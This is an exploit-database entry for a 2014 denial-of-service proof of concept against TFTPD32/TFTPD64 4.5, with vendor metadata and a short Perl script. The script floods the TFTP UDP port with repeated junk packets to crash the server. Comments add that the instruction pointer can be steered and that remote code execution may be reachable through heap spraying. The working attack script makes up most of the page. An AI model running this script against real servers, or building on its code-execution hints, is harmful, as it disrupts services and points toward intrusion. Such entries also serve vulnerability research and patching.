header-logo
Suggest Exploit
vendor:
TFTPD32/TFTPD64
by:
j0s3h4x0r
7,8
CVSS
HIGH
Denial of Service
N/A
CWE
Product Name: TFTPD32/TFTPD64
Affected Version From: 4.5 32 bits / 4.5 64 bits
Affected Version To: 4.5 32 bits / 4.5 64 bits
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 x64
2014

TFTPD32 4.5 / TFTPD64 4.5 DoS poc

This proof of concept code will crash TFTPD32 and TFTPD64. By changing the $j and $i loop limits, the EIP can reach 0x2E373231 ("127.") or any string contained in TFTPD32 error logs, and sometimes EIP reaches addresses similar to 0x00013200, which may enable Remote Code Execution using some form of heap-spray.

Mitigation:

N/A
Source

Exploit-DB raw data:

# Exploit Title: TFTPD32 4.5 / TFTPD64 4.5 DoS poc
# Date: 13/05/2014
# Exploit Author: j0s3h4x0r
# Homepage: http://tftpd32.jounin.net/tftpd32_testimonials.html
# Software Link: http://tftpd32.jounin.net/download/tftpd32.450.zip
# Version: 4.5 32 bits / 4.5 64 bits
# Tested on: [Windows 7 x64]

#this proof of concept code will crash tftpd32 and tftpd64
#you can try changing $j and $i loop limits
#most of the times EIP reaches 0x2E373231 == "127." or any string contained in tftpd32 error logs
#and sometimes EIP reaches addresses similar to 0x00013200 so Remote Code Execution may be possible using some form of heap-spray

## Exploit-DB Note: $j=5, $i=2500 caused a crash. 



#!/usr/bin/perl -w

use IO::Socket;

for (my $j = 0; $j < 2; $j++)
{
	sleep(2);
	for (my $i = 0; $i < 1500; $i++)
	{
		$st_socket = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error";
	
		$p_c_buffer = "\x0c\x0d" x 10;
	
		print $st_socket $p_c_buffer;
	
		close($st_socket);

		print "sent " . $i . "\n";
	}
}

exit;